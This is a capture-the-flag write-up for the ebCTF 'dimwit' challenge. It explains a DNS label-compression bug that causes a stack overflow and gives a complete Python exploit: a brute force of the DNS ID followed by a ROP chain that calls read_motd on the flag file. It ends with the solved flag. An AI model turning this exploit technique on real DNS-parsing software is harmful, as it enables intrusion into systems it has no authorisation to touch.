Score 400
Link http://ebctf.nl/files/8210c7065a7ac809297deec98f83e4f6/dimwit

We found a strange binary that appears to be doing DNS queries for
clownstorage.net, can you break in and gain access to the flag? The server
is running on 54.217.6.47 port 50001

The binary is an ELF 64-bit, dynamically linked and not stripped. When first connecting to the address given we receive something like:

$ nc 54.217.6.47
  ____ _     _____        ___   _ ____ _____ ___  ____      _    ____ _____   
 / ___| |   / _ \ \      / / \ | / ___|_   _/ _ \|  _ \    / \  / ___| ____|  
| |   | |  | | | \ \ /\ / /|  \| \___ \ | || | | | |_) |  / _ \| |  _|  _|    
| |___| |__| |_| |\ V  V / | |\  |___) || || |_| |  _ <  / ___ \ |_| | |___ _ 
 \____|_____\___/  \_/\_/  |_| \_|____/ |_| \___/|_| \_\/_/   \_\____|_____(_)
                                                                              
 _   _ _____ _____ 
| \ | | ____|_   _|
|  \| |  _|   | |  
| |\  | |___  | |  
|_| \_|_____| |_|  

Doritos Infrastructure Monitor Warning Information Techinology

[INFO] resolving clownstorage.net
[INFO] binding socket
[WARNING] binding to port 53 failed, trying 6140 instead
[INFO] socket bound
[TEST_FAILED] dns timeout

Because the binary was not stripped, it was quite easy to understand what it does. It first checks that the file flag exists, then it opens a connection on the port 50001, accepts and forks.

When a connection is received, it does a dup2 between the standard output and the socket file descriptor. Then it calls a function named read_motd which takes the name of a file, reads it, writes it to the standard output, and finally calls the function do_nameserver_test.

The function do_nameserver_test tries to create an udp_socket, first on the port 53 (which fails each time) and then on a random port. Thankfully, we have a warning telling us on which port it is bound. When the socket is created it sends a DNS request, then setups a handler for the signal SIGALARM which prints: "[TEST_FAILED] dns timeout" and exits. It then enters in the loop:

while (!query_received) // query_received is a global variable initialize to 0
{
    alarm(5); // if in 5s we have not finish launch a SIGALARM
    receive_dns(fd); // the name is explicit
}
puts("[TEST_OK] nameserver up");
fflush(stdin);

Because the alarm is quite anoying if you want to debug, I personally nop it to avoid problems when debugging.

Now we have a global overview of what our programm does, the goal will be to exploit the function receive_dns in order to gain code execution. Here is the begin of the code to get the first information:

import socket
import struct

#PROFILE = 'local'
PROFILE = 'remote'

if PROFILE == 'local':
    HOST = 'localhost'
elif PROFILE == 'remote':
    HOST =  '54.217.6.47'

PORT = 50001

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))

def _recv_tcp(l):
    if isinstance(l, str):
        l = len(l)
    r = s.recv(l)
    if r:
        print('Recv:', repr(r))
    return r

_recv_tcp('  ____ _     _____        ___   _ ____ _____ ___  ____      _    ____ _____   \n / ___| |   / _ \\ \\      / / \\ | / ___|_   _/ _ \\|  _ \\    / \\  / ___| ____|  \n| |   | |  | | | \\ \\ /\\ / /|  \\| \\___ \\ | || | | | |_) |  / _ \\| |  _|  _|    \n| |___| |__| |_| |\\ V  V / | |\\  |___) || || |_| |  _ <  / ___ \\ |_| | |___ _ \n \\____|_____\\___/  \\_/\\_/  |_| \\_|____/ |_| \\___/|_| \\_\\/_/   \\_\\____|_____(_)\n                                                                              \n _   _ _____ _____ \n| \\ | | ____|_   _|\n|  \\| |  _|   | |  \n| |\\  | |___  | |  \n|_| \\_|_____| |_|  \n\nDoritos Infrastructure Monitor Warning Information Techinology\n\n')

_recv_tcp('[INFO] resolving clownstorage.net\n')
_recv_tcp('[INFO] binding socket\n')
r = _recv_tcp('[WARNING] binding to port 53 failed, trying 33501 instead\n')
_recv_tcp('[INFO] socket bound')

UDP_PORT = int(r.split()[7])
print("UDP_PORT = ", UDP_PORT)

So now lets get a look into receive_dns.

The function receives a size of 0x200 and puts it in a buffer of the same size. It then begins to check if the received data is correct. The DNS header looks like this:

DNS Header

The program do some checks, first on the flags, then it checks the ID. Passing the test on the different flags is not hard, but we have a problem with the ID. We don’t know which ID is use because we don’t get the request that the program sends. But, it is on 16 bits, so we can simply bruteforce it by sending our data with all the possible IDs.

The function then does a loop for skipping the requests that may be contained in the answer: it iterates for the number in the "qdcount" and reads the size of each labelname (using the function labelname_len) and skip them. We have no interest in this part: we can just put qdcount to 0. It will then loop on the answer for "ancount" time, copy the label and check if he has a valid answer and then returns. The following code sends the answer to the program:

def _send_udp(st, end=b''):
    if isinstance(st, str):
        st = bytes(st, 'utf-8')
    st += end
    print('Send:', repr(st))
    return sock.sendto(st, (HOST, UDP_PORT))

# here we will put flag to 0b0000000010000000 and qdcount to 0
def _send_dns(flag, qdcount, ancount, msg, end):
    FLAG = struct.pack("<H", flag)
    QDCOUNT = struct.pack("<H", qdcount)
    ANCOUNT = struct.pack("<H", ancount)
    NSCOUNT = struct.pack("<H", 0)
    ARCOUNT = struct.pack("<H", 0)
    for i in range(65536):
        ID = struct.pack("<H", i)
        _send_udp(ID + FLAG + QDCOUNT + ANCOUNT + NSCOUNT + ARCOUNT + msg + end)

A label in the DNS protocol is defined as different parts: it begins by a size (which, in this implementation, should be inferior to 0x3f) and then followed by the characters. The vulnerability is in the copy_from_labelname function:

void copy_from_labelname(char *dst, char *src, int pos, int max)
{
    int i = 0;
    int t;
    while (src[pos] != 0)
    {
        if (pos >= max)
        {
            puts('[ABORTING] truncated packet');
            fflush(stdout);
            abort();
        }
        if (src[pos] < 0x3f)
        {
            if (src[pos] + pos + 1 > max)
            {
                puts('[ABORTING] truncated packet');
                fflush(stdout);
                abort();
            }
            memcpy(dst + i, src + pos + i, src[pos]);
            i += src[pos];
            dst[i] = '.';
            i++;
            pos += src[pos];
        }
        else if (src[pos] <= 0xbf)
        {
            puts('[ABORTING] bad packet');
            fflush(stdout);
            abort();
        }
        else
        {
            // HERE is a particular case where is the vuln
            t = ror(((short *)src)[pos / 2], 8) & 0x3fff;
            if (max - 1 > pos && t < max && t < pos)
                pos = t;
            else
            {
                puts('[ABORTING] ...');
                fflush(stdout);
                abort();
            }
        }
    }
    dst[i] = 0;
}

The parameter max given to this function is the size returned by the recv function, the dst buffer is a buffer of size 0x200. This function seems to be valid because, like the destination buffer, it is the same size as the buffer src, so we can not override it. The problem is in the else of the function: we can reset the position and then write more in the destination buffer, this will allow us to trigger a buffer overflow and then to rop.

Once we have our buffer overflow, the ROP is quite simple: we will call the function read_motd, this takes one argument: the address of the string "flag", which is already in the binary. Because we are in x86_64, we will need one gadget to put the address of the string "flag" in the rdi register.

The gadget I use is simple:

mov edi, dword [rsp+0x30]
add rsp, 0x38
ret

I used the tools developped by 0vercl0k (https://github.com/0vercl0k/rp) for finding this gadget.

Here is the final part of the exploit:

# this will serv for the padding
bytesa = b'\x3e' + 0x3e*b'a'
bytesc = b'\x38' + 0x38*b'c'
# here we exploit the problem of the function
retu = b'\x33' + b'\x34' + b'\x35' + b'\x36' + b'\x37' + b'\x38' + b'\x39' + 0x2d*b'a' + b'\xc0\x0d' + b'\xc0\x0e' + b'\xc0\x0f' + b'\xc0\x10' + b'\xc0\x11' + b'\xc0\x12'
#\xc0 permet to be in the particular case, the second element permet to say
# the position in the buffer where we will set the pos.

ADDR_READ_MOTD = struct.pack("<Q", 0x401360) # the address of the function
ADDR_FLAG = struct.pack("<Q", 0x40183b) # the address of the string
ADDR_PIVOT = struct.pack("<Q", 0x401500) # the address of the gadget

PADD = retu + 2 * bytesa + bytesc # just some padding

# the 8*b'a' are the padding because of the add rsp, 0x38
SEND1 = PADD + b'\x28' + ADDR_PIVOT + 8*b'a' + 8*b'a' + 8*b'a' + 8*b'a'
SEND2 = b'\x38' + 7*b'a'+ 8*b'a' + ADDR_FLAG + ADDR_READ_MOTD + 0x19*b'x' + b'\x00'

SEND = SEND1 + SEND2

_send_dns(0b0000000010000000, 0, 1, SEND, b"a")

# Here we recv the answer
_recv_tcp(1024)
_recv_tcp(1024)
_recv_tcp(1024)
_recv_tcp(1024)
_recv_tcp(1024)
_recv_tcp(1024)

Here is the complete exploit:

import socket
import struct

#PROFILE = 'local'
PROFILE = 'remote'

if PROFILE == 'local':
    HOST = 'localhost'
elif PROFILE == 'remote':
    HOST =  '54.217.6.47'

PORT = 50001

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))


def _send_udp(st, end=b''):
    if isinstance(st, str):
        st = bytes(st, 'utf-8')
    st += end
    print('Send:', repr(st))
    return sock.sendto(st, (HOST, UDP_PORT))

def _recv_tcp(l):
    if isinstance(l, str):
        l = len(l)
    r = s.recv(l)
    if r:
        print('Recv:', repr(r))
    return r

def _send_dns(flag, qdcount, ancount, msg, end):
    FLAG = struct.pack("<H", flag)
    QDCOUNT = struct.pack("<H", qdcount)
    ANCOUNT = struct.pack("<H", ancount)
    NSCOUNT = struct.pack("<H", 0)
    ARCOUNT = struct.pack("<H", 0)
    for i in range(65536):
        ID = struct.pack("<H", i)
        _send_udp(ID + FLAG + QDCOUNT + ANCOUNT + NSCOUNT + ARCOUNT + msg + end)

_recv_tcp('  ____ _     _____        ___   _ ____ _____ ___  ____      _    ____ _____   \n / ___| |   / _ \\ \\      / / \\ | / ___|_   _/ _ \\|  _ \\    / \\  / ___| ____|  \n| |   | |  | | | \\ \\ /\\ / /|  \\| \\___ \\ | || | | | |_) |  / _ \\| |  _|  _|    \n| |___| |__| |_| |\\ V  V / | |\\  |___) || || |_| |  _ <  / ___ \\ |_| | |___ _ \n \\____|_____\\___/  \\_/\\_/  |_| \\_|____/ |_| \\___/|_| \\_\\/_/   \\_\\____|_____(_)\n                                                                              \n _   _ _____ _____ \n| \\ | | ____|_   _|\n|  \\| |  _|   | |  \n| |\\  | |___  | |  \n|_| \\_|_____| |_|  \n\nDoritos Infrastructure Monitor Warning Information Techinology\n\n')

_recv_tcp('[INFO] resolving clownstorage.net\n')
_recv_tcp('[INFO] binding socket\n')
r = _recv_tcp('[WARNING] binding to port 53 failed, trying 33501 instead\n')
_recv_tcp('[INFO] socket bound')

UDP_PORT = int(r.split()[7])
print("UDP_PORT = ", UDP_PORT)

bytesa = b'\x3e' + 0x3e*b'a'
bytesb = b'\x33' + 0x33*b'b'
bytesc = b'\x38' + 0x38*b'c'
pading = b'\x0b' + 0xb*b'a'
retu = b'\x33' + b'\x34' + b'\x35' + b'\x36' + b'\x37' + b'\x38' + b'\x39' + 0x2d*b'a' + b'\xc0\x0d' + b'\xc0\x0e' + b'\xc0\x0f' + b'\xc0\x10' + b'\xc0\x11' + b'\xc0\x12'

ADDR_READ_MOTD = struct.pack("<Q", 0x401360)
ADDR_FLAG = struct.pack("<Q", 0x40183b)
ADDR_PIVOT = struct.pack("<Q", 0x401500)
PADD = retu + 2 * bytesa + bytesc


SEND1 = PADD + b'\x28' + ADDR_PIVOT + 8*b'a' + 8*b'a' + 8*b'a' + 8*b'a'
SEND2 = b'\x38' + 7*b'a'+ 8*b'a' + ADDR_FLAG + ADDR_READ_MOTD + 0x19*b'a' + b'\x00'

SEND = SEND1 + SEND2

_send_dns(0b0000000010000000, 0, 1, SEND, b"a")

_recv_tcp(1024)
_recv_tcp(1024)
_recv_tcp(1024)
_recv_tcp(1024)
_recv_tcp(1024)
_recv_tcp(1024)

The flag was: ebctf{c0fa2ef42705a3092cbec827e1777cd5}.